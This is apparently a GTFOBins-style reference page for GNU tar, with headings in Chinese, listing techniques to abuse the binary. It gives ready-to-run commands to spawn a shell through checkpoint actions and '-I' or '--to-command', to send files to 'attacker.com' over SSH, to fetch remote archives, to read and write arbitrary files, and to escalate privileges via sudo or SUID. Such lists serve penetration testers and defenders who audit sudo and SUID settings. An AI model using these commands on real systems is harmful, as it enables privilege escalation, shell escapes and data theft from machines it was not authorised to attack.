.. / tar

shell

用来生成一个交互式的系统shell。

• tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

  This only works for GNU tar.

  tar xf /dev/null -I '/bin/sh -c "sh <&2 1>&2"'

  This only works for GNU tar. It can be useful when only a limited command argument injection is available.

  TF=$(mktemp)
  echo '/bin/sh 0<&1' > "$TF"
  tar cf "$TF.tar" "$TF"
  tar xf "$TF.tar" --to-command sh
  rm "$TF"*
  

file-upload

上传文件到外部。

• This only works for GNU tar. Create tar archive and send it via SSH to a remote location. The attacker box must have the rmt utility installed (it should be present by default in Debian-like distributions).

  RHOST=attacker.com
  RUSER=root
  RFILE=/tmp/要发送的文件.tar
  LFILE=要发送的文件
  tar cvf $RUSER@$RHOST:$RFILE $LFILE --rsh-command=/bin/ssh
  

file-download

下载远程文件。

• This only works for GNU tar. Download and extract a tar archive via SSH. The attacker box must have the rmt utility installed (it should be present by default in Debian-like distributions).

  RHOST=attacker.com
  RUSER=root
  RFILE=/tmp/file_to_get.tar
  tar xvf $RUSER@$RHOST:$RFILE --rsh-command=/bin/ssh
  

file-write

将数据写入文件中。

• This only works for GNU tar.

  LFILE=要写入的文件
  TF=$(mktemp)
  echo DATA > "$TF"
  tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
  

file-read

从文件中读取数据。

• This only works for GNU tar.

  LFILE=要读取的文件路径
  tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
  

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

• sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

limited-suid

suid是一种授予文件的权限类型，它允许用户使用者以文件所有者的权限来执行文件。

• ./tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh